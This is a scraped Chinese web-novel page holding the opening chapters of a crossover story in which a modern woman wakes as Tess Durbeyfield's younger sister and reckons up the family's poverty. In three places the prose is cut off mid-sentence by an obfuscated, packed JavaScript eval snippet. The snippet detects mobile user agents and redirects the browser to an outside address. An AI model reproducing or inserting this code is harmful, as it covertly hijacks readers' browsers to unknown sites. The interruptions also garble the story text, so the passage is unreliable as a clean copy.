《[综名著]侦探小说的大忌》 1. Chapter1 非常规洗礼 伊莱莎醒来的时候，怀疑自己死了，就像怀疑自己还活着一样。 当然，首先应该疑惑的是，伊莱莎是谁？ “露……露——！醒醒……” “伊莱莎，快醒过来！苔丝叫你呢！” “莱莎-露是不是也生病了？” 在“露露”“莱莎-露”“伊莱莎”这几个陌生名字里，她飞快地挑选了伊莱莎用来称呼自已。 因为念这个名字的女孩声音相当柔软，让她想起舒芙蕾在舌尖融化的感受，像吃了一团黄油云朵。 伊莱莎是她——她肯定自己不叫伊莱莎——但姑且这么叫吧。 她感觉自己躺在一块硬木板上，中间隔着一条有点柔软的东西，可疑得像被褥，她费力睁开眼，发现面前一片漆黑。 伊莱莎伸手把盖住上半张脸的布扯下来，鼻子里钻进蜡烛的油脂燃烧的味道。 暖黄的烛光晃动着，散发出微弱的光，这点光并不能驱逐房间的黑暗，但足以让她打量这个屋子了。 房间并不大，墙壁是石头砌的，从斑驳的程度来看相当有年头了，三角墙上开着长方形的木窗，上面挂着的破烂窗帘勉强遮住了月光。 墙边摆着几张木床，床上被褥凌乱。 床对面是一个五斗橱，柜子旁边摆着一张更大的床，橱柜上摆着一盒打开的火柴，旁边散落着几根蜡烛。 怎么不多点几根，没有多的烛台了吗？ 伊莱莎看向蜡烛边上立着的东西，那不是烛台，而是一个木雕。 烛光因持有者的动作而晃动，让这个若隐若现的木雕在几秒后露出面容：原来是一尊圣母像。 端着蜡烛的人走了过来，伊莱莎放慢了呼吸，怕惊扰了她。 不知道是谁许下了皮格马利翁的愿望，让那尊圣母像活了过来，这个少女年龄不大，但有一种如同圣母一般引人向善的美。 走过来的人身上穿着发黄的旧睡袍，一条深色的大辫子垂在她脑后，裙摆摩擦间带来了麦秸的温暖气息。 围在伊莱莎床前的小女孩扯了扯来人的衣袖，问她：“苔丝，伊莱莎是生病了吗？” 原来她就是苔丝。 伊莱莎呆呆地看着她伸手来摸自己的脸，又摸了额头，只好开口说：“我没事。怎么了，苔丝？” 声音当然不是她的声音，但这是梦——应该是梦。 在梦里变个声音，而已，很正常。 苔丝凑近了对她说：“露，我需要你来帮我。” 她明亮的眼睛在烛火下发光。 伊莱莎驯顺地起身。 踩在凉地板上让她一浑身激灵，她顺手就带上了先前那条盖住她眼睛的三角披肩。 她没找着鞋子，只好打着赤脚跟着苔丝走到房间中央。 伊莱莎恍恍惚惚地想，这真的是梦吗？ 苔丝从更大的那张床上拿起一本摊开的书，让伊莱莎捧着，引她站到洗脸架后面。 然后她挥了挥右手，摆出了一个向下按压的手势。 跟在伊莱莎身后年龄各异的四个孩子便都跪了下来，围着这个洗脸架正好形成一个圆。他们双手交握放在胸口前，摆出一个虔诚祈祷的姿势。 伊莱莎目瞪口呆：这是要干什么？ 苔丝将蜡烛放在洗脸架上，提起水壶，对着念了一段话，“主，你藉着水和圣神使万物更新，求你降福这水，使受洗者得以重生。” 伊莱莎面容僵硬地看她把水倒进架子上的木盆里。 不过……这个仪式虽然让她这个无宗教信仰人士感到奇怪，但它并不令人害怕。 即使是在一个小破屋而不是大教堂，在深夜昏暗的烛光下而不是光明盛大的日光里，因为屋子里的人神情都很庄重。 再加上苔丝庄严的美丽，整个画面如同一副色彩浓郁的宗教油画，甚至可以出现在名著封面上。 仪轨没有特殊之处，苔丝诵读的祷文也是圣经上耳熟能详的句子。 她怎么会知道这是圣经的内容？ 苔丝念完祷辞便俯身从床上抱起一团东西，那是个小小的婴儿，他的脸比烛油还要苍白，穿着干净的棉布婴儿服，像是发育不太完全的早产儿，柔软的身体蜷缩在苔丝怀里。 “苔丝，你真的要给他做洗礼吗？”跪着的两个小女孩之中年龄稍大一点的问苔丝，剩下的三个孩子也都抬头望着她。 苔丝肯定地回答：“当然。” “那他叫什么名字呢？”另一个女孩发问。 她沉默了两三秒，开口道：“索罗。” 来自《创世纪》，伊莱莎下意识想。 苔丝用眼神示意孩子们跪好，伊莱莎也跟着挺起了腰。 她继续道：“我因父及子及圣神之名给你授洗。” 婴儿在襁褓里露出头顶，苔丝抱着他靠近水盆，伸手从里面拨出一些水洒在他的头上。屋子里一片寂静，连蜡烛都停止了摇晃。 “说‘阿门’，孩子们。” 几道尖嫩的声音乖巧地说：“阿门。” “我弃绝魔鬼及其一切诱惑，我信全能的天主父、圣子耶稣基督及圣神。” 她念了一大段祷文，脸上洋溢起一股炽热的光芒，这光足以掩盖住她慑人的美貌，只留下神圣的慈爱在脸上回荡。 念到最后，她停顿了一下，深深地吸了一口气，说：“我们接受这孩子……因此用十字架的符号画在他身上。” 伊莱莎浑身都起了鸡皮疙瘩，她的脖子发酸，不敢动一下。 苔丝在婴儿身上画了一个十字。 接着她开始念主祷文，孩子们也用嗡嗡的声音跟着她。 伊莱莎也用肌肉记忆跟着说这些陌生的句子：“慈爱的主啊……我们感谢赞美你，……，又在万民中拣选了我们。” 念到了感恩文，苔丝的情绪更加高涨，她诵读这些虔诚的文字时，声音仿佛是从心灵最深处发出来的，震荡得如同教堂里歌唱的圣歌。 烛光倒映在她棕色的瞳仁中，只有小小的一团，却如同宝石一样熠熠生辉。 伊莱莎麻木地沉浸在这圣洁的热情里，庄重的宗教氛围并没有感染到她，她从困意和懵懂里脱离出来，头脑渐渐变得清醒。 她想说这个孩子也许还没死，也许他还有救，她可以去请外科医生，也可以去罗利弗酒店讨要一些酒来给他降温。 大门被爸爸锁了，但她能从厨房的后窗爬出去，实在不行，至少可以去请新来的牧师来看看。 罗利弗酒店在哪里，爸爸是谁，她怎么会认识牧师？ 为什么她会有这些想法，她更不知道为什么有一种沉重的东西压在她的肩上，让她行动不能，只能站在这里捧着祷告书，像一个更大号的洗脸架。 在清晨暗蓝的光里，小索罗结束了他的命名和洗礼，同时也结束了尘世的呼吸一样短暂的一生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165171|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参加完他的洗礼仪式的伊莱莎合上书，终于放松了肩膀，那张三角披肩顺势滑到小臂上。 她大脑里什么也没想，扯下这条三角披肩，盖到婴儿小小的身体上。 后来被马洛特村的村民视为证据并津津乐道的就是这条披肩。 它被装进一个椴木匣子里，几天后的一个晚上，它作为裹尸布伴随着索罗下葬。 上帝分配给这个孩子安息的角落长满了荨麻，还有同样未受洗礼的婴儿。 臭名昭著的醉鬼、自杀的人和其他会下地狱的人也在那里与他作伴。 德伯菲尔德家的大女儿苔丝不仅未婚先孕，诞下罪证，还违背天主的意愿在私宅自己施了洗礼，甚至还用一先令贿赂教堂墓园的执事埋葬了这个孩子。 姐姐违背了上帝的戒律，惩罚则降临到妹妹的身上。 德伯菲尔德家的二女儿伊丽莎白-露易莎自那以后就变得呆呆愣愣，仿佛被恶魔偷走了灵魂，生活能自理，也能干活做家务，却不跟任何人交流。 马洛特村东边的麦场上，休息的人们正在谈那桩翻来覆去讲的旧事。 “肯定是因为那条披肩！听说是那孩子自己把披肩放到……它身上的。” “噢，小伊莱莎真是冲动，她姐姐怎么不拦着？” “苔丝，哼，说不定那时候伊莱莎就已经被、被附身了……反正这是苔丝招来的。” “难道真的——？你们觉得这是真的吗，照我看不像那么回事儿啊，虽然伊莱莎变得是有点古怪，但她以前就不怎么说话呢。” “难说！以前，大概四五个月前吧，春天的时候，有个孩子在收税路上碰到她，看到有人往她裙子上扔泥巴，被她追着打呢。” “这样看她也不算傻呀！” “之前做完礼拜我还去问了莱温特牧师，他说这算不上……着魔。用报纸上的‘理性’的思维来看，莱莎·露应该是什么神经炎、炎症。” “嘘，可别当着琼恩的面叫这个名字，沙斯顿的那个露易莎死了之后她就觉得这个名字被魔鬼诅咒了，只许大家叫她伊莱莎，上次在罗利弗酒店有人叫错了，她吐了人家满脸口水呢！” “米迦勒节之后，大概是那会儿，我去爱明斯脱听克莱尔牧师的布道遇到过她，她也是去听克莱尔牧师的布道的。不过克莱尔牧师是‘低’的人，他从来不喜欢谈论这些，嗯，驱魔的东西……” 从马洛特村所在的教区到猎苑堡，这一带都是高教派的天下，詹姆士·克莱尔牧师是个例外。 他是福音派教士，是威克利夫和加尔文思想的继承人和践行者，在近二十年来当代新生活的冲击下，这种传统的教士已经变得极为罕见了。 此时这个人从爱明斯脱来到马洛特村，这个村子并不在他所服务的教区之中，只是因他曾与这里的一个妇人有过一番交谈，心下存有疑虑，总是牵挂着这件事。 收税路开门的老头向他指明了德伯菲尔德家的方向，于是克莱尔先生顺便告诉老头，如果等会儿有个戴着棕色德比帽的人牵着一匹棕色驽马从这里走过的话，就让这个人去德伯菲尔德家找他。 克莱尔先生年满六十五，面容清癯，脸上总是带着沉思的神情，这种思考在他脸上留下了深刻的痕迹，让人不太敢同他打趣。 收税路的看门人本想同他聊聊德伯菲尔德家那桩并不新鲜的趣闻，但在他目光严肃的注视之下，只能打消了念头。 2. chapter2 好古典的穿越 伊莱莎再次睁开眼时，对上了一个圆帽帽顶。 这个人的帽子被撞歪了，歪歪斜斜地挂在头上，但始终没有落下来。 他弯着腰，把散落在她脚边一地的信和文件捡起来，放进手提包里。 男人大约三十几岁，腮边蓄了胡子，从头发到胡子都是深棕色，散发着一种奇怪的柠檬气息，清新的果香里夹杂着烧碱刺鼻的气味，很是古怪。 他站直了身体，退了大概两三步，上下打量着伊莱莎，用陈述事实的语气说：“你醒了。” 比起他平淡的语气，另一个抓着她手的中年女人说起话就热情亲切多了，“小伊莱莎！” ……伊莱莎？ 这个梦还有续集？ 她怀着自己都没察觉的亲近心情，对女人点了点头，困惑地发问：“我刚才……晕过去了？” 中年女人惊讶地看着她，好像她们两个之间一定有一个人撞了鬼。 她怔愣了两三秒，突然尖叫一声，抓着伊莱莎的手摇晃：“噢！我的小乖乖，伊莱莎，你终于……” 伊莱莎被她的夸张表现吓一大跳，但她身体还处在驯服四肢阶段，没能跳起来。 她只好坐在椅子上，看着女人抓着房间里另一个老人的手，激动地道谢：“愿主赐福于您，先生，若不是您肯帮助我的女儿，不顾魔鬼在一旁窥伺，为她虔诚地祈祷，她一定会像拉尔斯特德那个露易莎一样，无法从邪恶的利爪下解救自己的灵魂……” 伊莱莎好奇地看着老人，他衣着简朴但很整洁，穿着一件黑袍子，看上去像是宗教人士。 他跟中年女人像过年走亲戚送礼一样拉扯了一会儿。 伊莱莎从他们的对话中得知这个老人姓克莱尔，刚才那个低头在伊莱莎脚边捡东西的男人是克莱尔的儿子，中年女人则是德伯菲尔德太太。 原来是德伯菲尔德啊…… 她还以为这个女人姓贝内特。 贝内特……不是，德伯菲尔德太太想要送老克莱尔先生一罐蜂蜜感谢他，他再三推拒。 女人又向戴着圆顶帽的男人道歉，说孩子跑来跑去不小心把他的箱子撞开了，实在不好意思，应该没有弄脏他的重要文件吧？ 小克莱尔摆摆手，表示那只是一封关于圣经考证学的信，其他的文件不过是他的草稿。 老克莱尔先生便插嘴问了一句信。 儿子说，没错，是杜宾根学派的文章，是从前剑桥的学弟写来问他的……那个人并不热衷于宗教，性格奇怪得很，他的聪明和他的奇怪一样出色。 老克莱尔先生瞥了他儿子一眼，他看起来似乎不大赞同这种背后评价他人性格不好的行为。 德伯菲尔德太太把克莱尔先生和小克莱尔先生送了出去，伊莱莎淡然地目送三人走出房门。 她的心绪意外地平和，完全没有一个突然置身陌生地方遇到陌生人的人应有的恐慌。 任何一个人如果大脑和四肢还对不上号的话，都只能像她这么强行淡定。 她轻轻抬起双手，手掌合拢又张开，再曲动脚踝，勾着脚掌转圈画弧线。 幸好，四肢健全，没有残疾。 一个孩子的声音从她身后冒出来，是个男孩：“克莱尔先生没有想象的那么神气呀……” 另一个男孩说：“不过他比我们教堂的那位科林先生和气多了。” “小克莱尔先生的帽子上有两个个金圆环！” “那是铜做的。”这个男孩说话的声音听起来成熟了很多，像初中生，“妈原来还藏了一罐蜂蜜呢，她放在餐柜里吗，我怎么从来都没翻到过？” “克莱尔先生不要蜂蜜的话，妈会不会给我们吃？” 一个小女孩说：“伊莱莎真的好了吗？”她的声音非常柔软，且耳熟。 小男孩插进对话：“伊莱莎怎么不说话？” “她刚刚说话了呀！”听声音似乎比刚才的小女孩小一些。 伊莱莎被他们叽叽喳喳、自以为小声的窃窃私语念得发笑，她一直故意不出声，想听出来这几个孩子叫什么名字，结果他们聊起天来直接省掉了。 既然德伯菲尔德太太是他们的母亲，那他们就是伊莱莎的兄弟姐妹了。 她数了数人头，三个男孩两个女孩，全都处在发育期。 从身高差别很明显能看出年龄差距，一个初中生大小的男孩，两个小学高年级女孩，和两个学龄前儿童。 主啊……算上她整整六个！ 国民学校的平民教育和福斯特《教育法》的恩惠并没有降临过伊莱莎的头上，因此她并不具有教育部的修订法典所规定的标准知识，也不曾了解过马尔萨斯在半个世纪前提出的人口理论。 但她仍然抱有这样的观点，那就是：都穷成这样了，就不能少生几个吗？ 这么多孩子，真的能养活他们吗？ 伊莱莎打了个寒颤。 窗外的风把墙上挂着的干草吹得沙沙作响，外面立着一排树篱，土地一片萧条，只剩下一些野草和未焚烧尽的麦秸秆。 看上去像是秋末冬初，偶尔有几只麻雀停留在扎稻草人的木架上，风旋转而来，吹得路上尘土飞扬。 她低头看了看自己的衣着，身上套着一件发黄的袍子，衣摆上沾了几个黄泥浆点，胸衣紧紧贴合着她的肋骨，提供了一些密不透风的暖意。 她穿越了。 从她接受的唯物主义教育来看，也有可能被拐卖了。 不过……她侧头看向餐桌上的立钟，油污和灰尘交杂凝固在玻璃表盘上，从倒影里依稀可以看出，这张美丽的，重点是稚嫩的、异国的——可能是昂撒人——脸蛋不是她的脸。 不知道有没有能回去的办法……她只记得自己今天出门去取快递。 然后呢？她眼睛一闭一睁就到了这个地方。 系统？统子？Menu？System？——无响应。 你好，伊莱莎？伊莱莎·德伯菲尔德，你在吗？——根本没人搭理她。 什么都没有，没有系统没有任务，也没有原主的记忆。 好复古的穿越。 伊莱莎只好使用复古的手段，她对德伯菲尔德太太试探着问：“你……是谁？” 德伯菲尔德太太大惊失色：“我是琼恩·德伯菲尔德，是你妈妈呀！这是怎么回事，难道这是魔鬼的惩罚？” 她有点后悔自己的冲动了，琼恩不会要拉着她去驱魔吧？ 伊莱莎歪了歪头，斟酌着说：“妈妈，我，我好像忘记了很多事……我只记得，苔丝……” 不知道那是不是梦，但伊莱莎始终忘不了这个像圣母画一样的美丽女孩。 琼恩的面色好像被打了一拳，她哽了一下，勉强笑道：“苔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165172|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝是你姐姐呀，她跟她丈夫去北边的农场了。怎么了宝贝，你想姐姐了吗？” 丈夫？ 伊莱莎下意识问：“那索罗呢？”她还记得这是苔丝的孩子。 “嘘！”琼恩让她噤声，“可别让你爹听见这个名字！” 旁边一个女孩出声：“索罗都已经死了两年了。” “霍珀，不许说这个名字！”琼恩转头就训斥她，这个女孩委屈地点点头。 在琼恩带着口音和土话的解说里，她终于搞清楚了这一家子。 老爹约翰·德伯菲尔德“爵爷”，是整个多塞特——甚至整个英格兰最古老最高贵的家族的最后嫡裔（伊莱莎当然没错过琼恩话里的时间状语“以前”），现在是马洛特村里挎着篮子叫卖小商贩。 琼恩·德伯菲尔德，也就是她的妈妈，家里人以前在威尔特的奇彭纳姆牧羊，他们之间早就不怎么联系了。 在她之上有一个姐姐苔瑞莎，家里人习惯叫她的昵称苔丝，她嫁给了一个上等人，跟着她的丈夫一起去北边经营农场了。 下面还有五个弟妹，名字实在太多，除去苔丝，跟她关系最好的就是最大的弟弟亚伯拉罕了。 伊莱莎一向话很少，只是偶尔跟亚伯拉罕聊天——在那件事发生之前。 “那件事”到底是怎么一回事，琼恩不肯说明白，带着点避讳的意思，只是再三强调不许在她爹面前说。 当然，老爹约翰除去好喝酒之外最好的就是面子了 ——她到底为什么会知道这些本该是“伊莱莎”知道的事？ 伊莱莎再次在大脑里呼唤“伊莱莎”，没有任何回应。 她只好像牛反刍一样翻来覆去地回忆那个夜晚：索罗，还没受洗的孩子，他快病死了。 苔丝没有办法，只好给自己他施洗。 为什么不请医生也不请牧师？因为爸爸把门锁了，他骂这个孩子是耻辱的罪证……索罗是私生子！ 孩子的父亲是谁，是苔丝现在的丈夫吗？ 还有，刚才有个女孩子说“伊莱莎真的好了吗”是什么意思，琼恩对老克莱尔说的“魔鬼”又在暗示什么？ 她生病了，还是说她被“魔鬼”附身了？ 伊莱莎祈祷这是个唯物论的世界，虽然她现在的处境很不唯物，但如果真的有魔法那希望是个低魔世界，毕竟就这家子的破败样，看上去真的很容易被炮灰…… 不过有一点不能算炮灰的是，这一家子的容貌都挺不错。 除去还没见过面的约翰，几个孩子都长得不差，这大概率是遗传自琼恩。 她是一个俊美的女人，即使她已经生了七个孩子，身材在多年的家务中压得走形，依旧能看出她年轻时的美丽。 这是伊莱莎帮琼恩洗衣服的时候发现的，一家八口人就算没几件衣服可以换，清洗起来也是相当辛苦。 琼恩习惯了这种辛苦，一边哼唱着歌一边搓洗衣服上的泥点，她唱起歌来仿佛是在金碧辉煌的演唱厅，脸上带着女高音刚完成一段高难度花腔唱段的骄傲神色。 这让她的脸洋溢出一种难以言喻的光芒，琼恩的灵魂里有一种艺术的成分，还有感染人的天赋。 伊莱莎不禁想到给孩子施洗的苔丝，她低头看向洗衣盆的水面，水面人脸的倒影也看着她，她跟姐姐苔丝长得其实并不太像，或者说，大不相同。 3. chapter3 算账 天色渐晚，琼恩点了一只蜡烛，烛光摇曳中，这间农家小屋显得更加破败。 伊莱莎、亚伯拉罕和琼恩一起拧干了衣服，晾到屋后树下悬挂的绳子上，这棵苹果树长在避风的角落，尘土吹不到这个地方。 树下沿着石墙搭了架子，上面还挂着最后一茬秋黄瓜，不知道长在哪儿的薄荷散发出淡淡的清香。 暮色降临到这个平原，伊莱莎呆呆地望着如同乔治·科尔画中的乡村风景，风中送来迷迭香的香气，这样苍凉的秋景让她产生了一种近乎宿命论的沮丧。 伊莱莎听见琼恩喊吃晚饭的声音，在外面玩了一下午的几个小弟妹跑进屋里，她只好揣着有些沉重的心情坐到餐桌前。 冷硬的面包和凝固的黄油让她更悲伤了：为了省着点儿用煤块，今天没有烧火做饭。 餐桌上琼恩夸亚伯拉罕今天去烘焙坊买到的面包烤得很扎实，毕竟现在小麦价格越来越低了，面包房要是偷工减料还不如自己在家烤。 黄油倒是一直很干净，本地人买到的黄油，比送到伦敦老爷们的餐桌上的还要好，马洛特村周边有很多牧场，琼恩以前结识的女工朋友就在那里当挤奶工，价格很划算。 勉强噎完这一顿持家有道的晚餐，伊莱莎觉得自己去晾衣绳上吊死的力气都没有了，琼恩端来放了蜂蜜的麦酒让她喝了，冰冷但带着甜味儿的液体下肚，多少给了她一些安慰。 她问琼恩：“爸不回来吃吗？” 琼恩说他这会儿大概在罗利弗酒店，她看到女儿瞪大的眼睛里谴责的意味，缩了缩脖子，给约翰找补道：“他在那儿跟人谈事呢……” 看你这心虚的表情鬼才信啊！ 伊莱莎忍住没有发火，只是深深地吸了一口气。 琼恩让她把弟妹们带上楼去睡觉，自己则穿上短外套，戴上一顶窄边圆顶毡帽，出门去找她的丈夫了。 孩子们很听话，不需要伊莱莎哄就乖乖地睡了。 她换上睡衣，实在忍不住下楼，拧了条棉布巾草草擦了身体。 伊莱莎以为自己会失眠，她毫不怀疑这房子里没有老鼠。 但是这几张木床的床脚很高，床板又薄，给她提供了一种摇摇欲坠的安心感。 想想看吧，睡满了人的床再加上一只老鼠，大概是会塌掉的。 第二天她被楼下的动静吵醒时都有点惊讶，自己昨晚竟然睡得这么香甜！ 昨天一下午她都在忙家务，累得对环境也没力气挑剔了。 楼下老爹约翰终于露出真面目，他翘着腿坐在椅子上，向伊莱莎打招呼：“露露，你妈说你好了，我还不信呢！快过来，来，让我看看！好姑娘，你看上去像个公主呢，我就说，骑士德伯菲尔德家的孩子是不会这么轻易被打倒的。” 琼恩半个身子从厨房门探出来，大声训斥：“杰克，不是说别喊这个名字吗？” 约翰面容不悦，改口叫她伊莱莎。 伊莱莎隔着那张放着果酱瓶、针线筐、几根蜡烛、小碾子和两把勺子的桌子与父亲对视。 一个唯我独尊的下巴，一双浑浊颓丧的眼睛，两条听天由命的眉毛，还有一个被酒气熏腌的鼻子，还好德伯菲尔德家的几个孩子都是像琼恩多一点，天真虚荣总比好逸恶劳强。 喊一个素不相识的陌生人爸爸，她对此接受良好，反正父亲都那样儿。 伊莱莎对约翰说：“爸爸，跟我讲讲德伯菲尔德的历史吧。” 在约翰不厌其烦的叙述和琼恩时不时的插嘴补充，以及几个主日学校读书的弟妹的纠正中，半史盲伊莱莎大致摸清楚了情况。 她现在是在英国。 德伯菲尔德的祖先是御前骑士，琼恩说德伯菲尔德家族比奥利弗·格朗伯还要老得多，约翰说那是奥利弗·克朗伯，最后亚伯拉罕纠正说是奥利弗·克伦威尔，伊莱莎这才知道他们说的是那位大名鼎鼎的护国公。 克伦威尔是哪个世纪的人来着？ 约翰又说：明年就是女王登基的金禧庆典，他要给报纸写信，希望女王能够册封他这个英格兰最古老的家族之一的唯一嫡系后代。 在位五十年的女王，哦……是维多利亚女王吗？ 琼恩让他别浪费邮费和信纸钱了，之前给那些什么文物学家史学家的写信，没一个回复的。 好吧，比起远在天边的女王，还是填饱肚子改善生活更重要。 琼恩给每人都分了一碗黏糊糊的燕麦粥，伊莱莎挖了勺橘子酱放进去，搅拌均匀。 橘子的清香和糖浆的甜味与燕麦纯净的麦香交融在一起，有点出乎伊莱莎意料，吃起来并不恶心，反而有一种春天的清新气息。 吃完早饭，父亲约翰就戴上帽子出门了，他钻进鸡舍捆了一只鸡，放进柳条篮子里，打算去沙斯顿碰碰运气，看这些杂货能不能卖出去。 如果说昨天伊莱莎还对父亲抱有一丁点期待，那现在不必说了，一个给报纸写信要求册封的“贵族”后裔、一个在村头酒店喝酒不回家的父亲，她实在看不出有什么希望。 这个家就像是一艘快要散架的船，随便来一个浪花就能轻而易举地将它打翻。除去出嫁的苔丝，其他人可以驯顺地服从天父神圣的安排，蒙受召唤去见上帝了。 或许伊莱莎会游泳，不会被淹死，亚伯拉罕也能挣扎着活下去。 然后，她就在岸边看着他们去死吗？ 伊莱莎，你在吗？ 她决定最后尝试一次：是我侵占了你的身体吗，你有什么话想对我说吗？ 毫无反应。 她长叹一口气，走进厨房帮琼恩收拾餐盘洗干净。 伊莱莎问琼恩有牙刷吗，如果没有，她就去外面找几片薄荷咀嚼一下，煮得融化的燕麦留在嘴里的口感太奇怪了。 琼恩从餐柜里翻出来一把比手掌长不了多少的小木刷，刷毛似乎是马鬃做的。 她怀念地握在手里看了看，说：“这还是王子的毛做的呢，王子死的那年，苔丝在五月节跳完吉格舞，她傍晚回来了，也是这样帮我做家务。” 母亲从炉子里铲出煤灰，递到她面前。 伊莱莎安慰自己这跟草木灰差不多，用刷子蘸取了一点，完成了来到穿越以来的第一次漱口。 女儿醒来之后似乎变得跟从前有些不同，说话的口音变了，本地人那种圆润的发音在她的声调里几乎消失了，像是国立学校教出来的学生，说一口标准的普通英语，用词也文雅许多，不掺杂一点儿马洛特村的土话俚语。 不过德伯菲尔德太太操持家务之余，还要养育家里源源不断的新生儿，对孩子们的态度带着一些听天由命的态度：只要养活就好了。 加之她自己都不是个心智成熟的大人——一个脑子里充满了詹姆士时代的迷信念头，对各种乱七八糟的民间传说如数家珍，几乎从未受过理性思想启蒙的乡村女人，怀着对伊莱莎朴素的母爱，从不愿去怀疑她哪里变得奇怪了。 洗完昨晚剩下的和今早新加的餐碟，琼恩坐到窗下的椅子上，开始补一只破了洞的袜子。 伊莱莎坐到她旁边，顺势以英式寒暄开启话头：“今天是个好天气。” 以她的文学储备还不足以表达秋高气爽这个复杂的词，她继续说，“不知道爸爸的东西能不能卖出去？” 琼恩摇摇头，没有搭话。 女儿懒得跟妈绕圈子，直接问：“妈妈，家里的钱还剩多少，能过这个冬吗？我看我得去找个活做才行。” 古今中外的穷人过冬都是十分艰难的。 琼恩用一种逆来顺受的语气说：“之前家里卖了马，得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165173|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了十英镑，秋天的时候亚伯拉罕在收割场找了个活儿干，现在麦子便宜了，割麦子的工钱也少了，罗利弗酒店的麦酒倒是没见便宜，苔丝结婚的时候你爹在那里操办了一下，请全教区的人——”琼恩现在“全”上放了重音，“都来喝了一杯，我还在那里唱了歌，唱的就是《看东方，才破晓呀》，‘起呀起呀起呀，为情人，采花去呀……’” 在女儿的瞪视下，琼恩悻悻止住了歌声。 这叫怎么个事儿？ 伊莱莎扶额叹气，她妈妈还只是个嘻嘻哈哈的姑娘呢！ 在琼恩·德伯菲尔德那一串听凭上帝安排的孩子里，她自己也是其中一员，而且还算不上年纪最大的那一个。 伊莱莎的严肃神情让琼恩不敢再偏题，在她凌乱的叙述中，伊莱莎痛苦地算清了一家的账单。 家里的房租和地租是当初写租约一起算的，大约是拿破仑战争结束后几年签下的书契，算是难得的低价，一年一共6英镑。 这份合约传了三代人，刚好到她父亲这一辈截止。 也就是说她现在确实像《傲慢与偏见》里的贝内特一家一样，只要家里的老爹死了，经济上立马来一个大滑坡。 当然了，拿德伯菲尔德跟绅士阶层的贝内特比，完全是在碰瓷。 如果能去贝内特那样的家里当佣人，她还要对人家的恩惠感激涕零！ 房租之外最大的开支就是食物了。 近十年来的农业大萧条首先就表现在小麦价格下跌了近三分之一，琼恩倒是高高兴兴地表示买面包更划算了，现在一条四磅重的只要6便士。 土豆吃自己种的，蔬菜也是。 虽然菜地种的蔬菜少，但吃的蔬菜量也不多，就不用再去买。 加之周边牧场很多，黄油和牛奶可以用一个很优惠的价格买到，1磅也就6便士。 再算上鸡蛋、茶、砂糖、麦酒这些零零碎碎的东西，家人都省着点儿吃，在吃的东西上一年大约花19英镑。 衣服的花销和燃料费一共5英镑，主要是用在捱过冬天。 好在此地在不列颠岛临海的南部（琼恩说她以前认识的朋友就在半小时火车车程远的码头卖鱼），气温不算太冷。 伊莱莎在家里帮忙干活，亚伯拉罕今年通过了学校委员会设置的六级标准考试，能找到活儿干了。 剩下的四个小孩子在公立学校上学，学费每周收两便士，算下来一共1英镑14先令8便士。 算下来德伯菲尔德一家的开支总共32英镑，再加上其他杂项支出，也就35、36英镑的样子。 这几年农业工人的收入越来越低，若是有社会学家愿意将目光移到这一小片区域来，就能统计出平均工资是每周十三先令半，算下来一年有36镑的收入。 相比在田地上苦哈哈地干活，大家更喜欢去牧场找工作，奶场的工作只有春夏奶量多的时候才好找，好在秋天可以去收割场做工。 至于冬天嘛，打打零工，捱得过去就捱，捱不过去就只好去济贫院了。 作为流动小贩，约翰收入比普通农民工人还要高一些，好的时候能赚到45、6镑，最差的时候也有39镑。 家里除去苔丝还有三个成年劳动力，就算这年头女人拿不到正经劳动力的工资，也能做一些家政工作，而且这边的奶场对挤奶女工和制奶品女工的需求很大，工钱愿意给得更丰厚些。 这么算下来，养活这一家子就没伊莱莎想象的那么费力了。 然而这一切是建立在没有意外的基础上，伊莱莎本以为应该考虑到琼恩频繁生育对身体的伤害，或者约翰酗酒高血脂会引发的疾病风险，却忽略了一个最基本的前提，那就是勤劳努力的品质。 这对于父亲来说，比他的贵族爵位还要缥缈。 4. Chapter4 找工作 同样是立在云上的东西，比起令人心碎的空中楼阁，她那个老爹显然更愿意把自己的臆想看做是上帝站在云梯上对雅各的应允。 伊莱莎忍不住嘲讽：“所以修补房顶的木匠是看在德伯菲尔德‘爵爷’的面子上才给我们赊账的吗？” 琼恩讪讪道：“估计下次老特里达就不肯让我们赊了。” 重点是这个吗！ 生个不省心的女儿是怎样的体验，伊莱莎跨越百年时光终于体验到了。 她冷笑道：“说不定人家喝了爸爸请的婚酒，愿意给我们约翰爵士一点薄面，允许记账呢？” 反正他们家的房租地租是绑死的，跑去躲债也躲不了多久。 不过还有一点很奇怪，照家里这种寅吃卯粮收入都拿去还债的过法，到底是怎么支撑他们活下去，甚至还噗嗤噗嗤生了七个孩子的？ 难道这个“全英格兰最古老的贵族”还给他们家留了一点薄产？ 她再次确认地算了算，家里目前只剩下8英镑了，还欠着11英镑的债。 